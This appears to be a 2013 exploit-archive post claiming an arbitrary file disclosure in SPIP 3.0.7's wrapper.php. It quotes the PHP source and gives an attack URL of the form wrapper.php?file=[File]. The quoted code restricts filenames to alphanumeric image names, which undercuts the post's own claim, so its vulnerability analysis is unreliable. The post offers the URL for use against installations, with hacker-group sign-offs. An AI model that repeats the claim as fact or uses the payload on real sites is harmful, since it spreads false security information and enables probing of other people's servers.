spip 3.0.7 File Disclosure Vulnerability

2013-12-28 20:28:58
Inviato da: JoKeR_StEx

###########################################################################################################
# Ecploit Title : spip 3.0.7 File Disclosure Vulnerability
# Author : JoKeR_StEx
# Software : http://spip.net/
# Date : 28/12/2013
# Version : 3.0.7
###########################################################################################################

1) The Vulnerability in spip Version 3.0.7 in File /prive/images/wrapper.php

Code Vulnerability :

if (isset($_GET['file'])){
$f = $_GET['file']; // pas de urldecode ici car on accepte de toute facon que les caracteres alphanumeriques

if (preg_match(',^[a-z_0-9\-]+\.(gif|jpg|png)$,i', $f, $r)

AND @file_exists('./'.$f)){


$mime = array(
'jpg' => 'image/jpeg',
'gif' => 'image/gif',
'png' => 'image/png'
);

header('Content-Type: '.$mime[strtolower($r[1])]);

header('Content-Length: '.filesize('./'.$f));

header('Cache-Control: max-age=36000');

header('Pragma: public');

readfile('./'.$f);

exit;

}

}

So Function readfile('./'.$f)
and $f=$_GET['file'] ^____^
####
http://127.0.0.1/spip/prive/images/wrapper.php?file=[File]
####
#############################################################################################################
# The Black Devils
# Dz Crazy L33ts
#############################################################################################################

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.